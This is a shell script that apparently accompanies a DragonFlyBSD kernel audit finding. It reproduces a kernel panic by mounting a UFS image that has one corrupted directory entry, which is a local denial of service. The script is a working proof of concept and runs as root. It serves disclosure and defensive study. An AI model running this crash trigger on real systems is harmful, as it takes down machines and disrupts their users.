⬢ DragonFlyBSD Kernel Audit
DF-3108 / repro.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3108 — ufs_dirbad panics a RW-mounted UFS on any mangled directory entry.
#
# sys/vfs/ufs/ufs_lookup.c:601-610:
#     if ((mp->mnt_flag & MNT_RDONLY) == 0)
#             panic("ufs_dirbad: bad dir");
# Called from the lookup walk (:269) whenever an entry fails the
# forward-progress check (d_reclen == 0 or d_reclen > rest-of-dirblock).
#
# One flipped byte in any directory of an otherwise-valid image => any
# path resolution through it panics the kernel => reboot-loopable local DoS.
# Same fail-stop design as ext2_dirbad (DF-3083) — this is the UFS instance.
#
# Usage (as root): ./repro.sh
set -e
cd /root/df3108
IMG=df3108.img
MNT=/mnt/df3108

rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=4 2>&1 | tail -1
VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
DEV="/dev/$VN"
newfs -b 4096 -f 512 "$DEV" >/dev/null 2>&1
mkdir -p "$MNT"
mount -t ufs "$DEV" "$MNT"
mkdir "$MNT/d"
D_INO=$(stat -f '%i' "$MNT/d")
umount "$MNT"
vnconfig -u "$DEV" 2>/dev/null || true

# Corrupt ONE byte: the 'd' directory's first entry gets d_reclen = 0x0204
# (516 > 512 - 0) -> "mangled entry" on the very first lookup into /d.
./patch_one "$IMG" "$D_INO"
echo "image corrupted; mounting RW and listing /d (expect panic)"

VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
mount -t ufs "/dev/$VN" "$MNT"
# NB: resolving a name INSIDE /d drives ufs_lookup's walk over the mangled
# entry (ls alone only readdirs, which uses ufs_readdir's lenient walk).
stat "$MNT/d/x" 2>&1 | head -2
echo "UNEXPECTED: no panic"